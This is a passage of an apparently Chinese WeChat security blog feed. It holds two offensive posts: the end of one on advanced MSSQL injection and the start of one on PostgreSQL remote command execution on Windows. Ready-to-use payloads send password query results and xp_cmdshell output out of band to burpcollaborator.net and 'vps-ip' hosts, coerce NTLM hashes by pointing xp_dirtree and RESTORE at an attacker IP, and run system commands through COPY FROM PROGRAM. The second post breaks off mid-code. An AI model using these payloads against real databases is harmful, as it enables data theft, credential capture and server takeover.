style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\&#39;,default,default)))</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 17, 17);">要求：CONTROL SERVER权限</span></span></pre><pre spellcheck="false" lang="sql" cid="n66" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">fn_trace_gettable</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">https<span style="box-sizing: border-box;">:</span>//vuln<span style="box-sizing: border-box;color: rgb(0, 85, 170);">.app</span>/ getItem?id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">and</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">exists</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+*+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>fn_trace_gettable<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;\\&#39;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>pass<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>users<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc&#39;</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">default</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">))</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">要求<span style="box-sizing: border-box;">:</span>CONTROL <span style="box-sizing: border-box;color: rgb(119, 0, 136);">SERVER</span>权限</span></pre><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">文章见：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/" target="_blank">https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/</a></span></p><h5 cid="n35" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Public权限下可可执行dns带外通信，需闭合语句进行堆叠注入</span></h5><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">;DECLARE+@q+varchar(1024);SET+@q=&#39;</span><span md-inline="escape" style="box-sizing: border-box;">\</span><span md-inline="plain" style="box-sizing: border-box;">&#39;%2b&#39;</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">vps-ip</strong></span><span md-inline="escape" style="box-sizing: border-box;">&#39;</span><span md-inline="plain" style="box-sizing: border-box;">%2b(select+top+1+passwords+from+users);EXEC+master..xp_dirtree+@q;--+</span></p><ul class="list-paddingleft-1" cid="n37" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">注释符号推荐使用单行注释符,多行注释会提示错误：遗漏结尾的注释符号</span></p></li></ul><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">最后这种方式是要求权限最低的，也是public权限下唯一能执行的方式，如果可以开启xp_cmdshell,但无回显，可以创建临时表读结果带外带穿回来</span></p><pre spellcheck="false" lang="sql" cid="n72" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">;</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">CREATE</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>cmdtmp<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>dir<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;">varchar</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">8000</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">))</span><span style="box-sizing: border-box;">;</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">insert</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">into</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>cmdtmp<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>dir<span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>exec<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">master</span>..xp_cmdshell<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;for+/r+c%3a\+%25i+in+(1*.aspx)+do+%40echo+%25i&#39;</span><span style="box-sizing: border-box;">;</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">DECLARE</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 85, 170);">@q</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;">varchar</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1024</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;">;</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SET</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 85, 170);">@q</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;\\&#39;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;vps-ip\&#39;%2b(select+dir+from+cmdtmp);EXEC+master..xp_dirtree+@q;--+</span></span></pre><h6 cid="n77" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ps.sqlserver2012 版本以后可以使用</span><span md-inline="strong" style="box-sizing: border-box;">IIF()</span><span md-inline="plain" style="box-sizing: border-box;">内构函数进行条件查询，同mysql中if()</span></h6><pre spellcheck="false" lang="sql" cid="n78" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">IIF <span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span> boolean_expression<span style="box-sizing: border-box;">,</span> true_value<span style="box-sizing: border-box;">,</span> false_value <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">boolean_expression</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">A valid <span style="box-sizing: border-box;">Boolean</span> expression.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">If</span> this argument <span style="box-sizing: border-box;color: rgb(119, 0, 136);">is</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">not</span> a <span style="box-sizing: border-box;">Boolean</span> expression<span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">then</span> a syntax error <span style="box-sizing: border-box;color: rgb(119, 0, 136);">is</span> raised.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">true_value</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">Value</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">to</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> boolean_expression evaluates <span style="box-sizing: border-box;color: rgb(119, 0, 136);">to</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">true</span>. </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">false_value</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">Value</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">to</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> boolean_expression evaluates <span style="box-sizing: border-box;color: rgb(119, 0, 136);">to</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">false</span>.</span></pre><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">举个栗子</span></p><pre spellcheck="false" lang="sql" cid="n82" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;+and+iif(exists(select+*+from+master.dbo.sysobjects+where+xtype=&#39;</span>x<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;+and+name=&#39;</span>xp_cmdshell<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;),&#39;</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;,&#39;</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;)+like+&#39;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span></span></pre><h6 cid="n88" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ps.mssql还原数据库选项指定攻击者服务器，劫持mssql账户 NTLM hash</span></h6><p cid="n91" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/p0dalirius/MSSQL-Analysis-Coerce" target="_blank">https://github.com/p0dalirius/MSSQL-Analysis-Coerce</a></span></p><pre spellcheck="false" lang="sql" cid="n93" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">restore <span style="box-sizing: border-box;color: rgb(119, 0, 136);">database</span> peking <span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span> disk <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;\\192.168.12.30\backup\a.bak&#39;</span></span></pre><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">本地复现成功</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6028708133971292" data-s="300,640" data-type="png" data-w="627" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=96c310a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCcyR76k16y35OoDKAXlVJw6hiboSYdtib0gKITMKoSnozktHOJg9f8gAWf9lWwia4VhQfjiaia4r0kRAmw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">换成public用户成功，先去请求服务器验证身份信息再去判断用户对数据库有没有restore权限</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6128526645768025" data-s="300,640" data-type="png" data-w="638" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=341c9f3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCcyR76k16y35OoDKAXlVJw66SBcKo8S1YN5Fh2vQQWbhL6VRy6948voXAwdic1cwcLXiaahIicUSgORw%2F640%3Fwx_fmt%3Dpng"/></p><p>类似的操作还有</p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span class="code-snippet_outer">xp_dirtree <span class="code-snippet__string">&#39;\\&lt;attacker_IP&gt;\any\thing&#39;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__built_in">exec</span> master.dbo.xp_dirtree <span class="code-snippet__string">&#39;\\&lt;attacker_IP&gt;\any\thing&#39;</span></span></p><p><span class="code-snippet_outer">EXEC master..xp_subdirs <span class="code-snippet__string">&#39;\\&lt;attacker_IP&gt;\anything\&#39;</span></span></p><p><span class="code-snippet_outer">EXEC master..xp_fileexist <span class="code-snippet__string">&#39;\\&lt;attacker_IP&gt;\anything\&#39;</span></span></p></pre></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=96c310a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCcyR76k16y35OoDKAXlVJw6hiboSYdtib0gKITMKoSnozktHOJg9f8gAWf9lWwia4VhQfjiaia4r0kRAmw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=341c9f3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCcyR76k16y35OoDKAXlVJw66SBcKo8S1YN5Fh2vQQWbhL6VRy6948voXAwdic1cwcLXiaahIicUSgORw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483719">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f13bdae5&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483719%26idx%3D1%26sn%3Dbab3539f7a633d4d10322953d9e5a0c3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 29 Oct 2022 02:12:00 +0800</pubDate>
    </item>
    <item>
      <title>Postgresql 在windows下 rce 的坑点及解决办法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483718&amp;idx=1&amp;sn=5c93cf4f2a9d4472df6632bb7638d8dd</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2022-10-28 23:58</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c157cf73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCf4IAhicWO1fAOhjuztCxOiceTWe3IAlv4J3RIDfk0GvLOiayaicw7XyZrAhgMo7C7ib5jGqKN2IIlMuQg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n71" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">postgresql在windwos下rce的文章基本没有,先知上有一篇（链接打不开了，应该是这篇</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://xz.aliyun.com/t/10202" target="_blank">https://xz.aliyun.com/t/10202</a></span><span md-inline="plain" style="box-sizing: border-box;">），感觉作者可能写的比较着急，所以存在很多问题，以下文章是踩坑之后的一些解决方法,前提是可堆叠注入或者可连接到数据库</span></p><h4 cid="n72" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">问题1：rce后命令回显的编码问题</span></h4><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">如上面提到的文章作者所说，Windows下直接执行系统命令会报错</span></p><pre spellcheck="false" lang="postgresql" cid="n74" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">DROP</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">IF</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">EXISTS</span> dd<span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">CREATE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span> dd<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>dd <span style="box-sizing: border-box;">text</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> dd <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">PROGRAM</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;whoami /all&#39;</span><span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SELECT</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> dd<span style="box-sizing: border-box;">;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">时间<span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0.001</span>s</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">CREATE</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">TABLE</span> dd<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>dd <span style="box-sizing: border-box;">text</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">OK</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">时间<span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0.002</span>s</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> dd <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">PROGRAM</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;whoami /all&#39;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">错误<span style="box-sizing: border-box;">:</span>  无效的 &#34;UTF8&#34; 编码字节顺序<span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xd3</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xc3</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">CONTEXT<span style="box-sizing: border-box;">:</span>  <span style="box-sizing: border-box;color: rgb(119, 0, 136);">COPY</span> dd<span style="box-sizing: border-box;">,</span> 行 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">时间<span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0.025</span>s</span></pre><h5 cid="n75" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">解决方法</span></h5><p cid="n76" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">去官网查了下copy命令的文档</span></p><pre spellcheck="false" lang="postgresql" cid="n77" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: 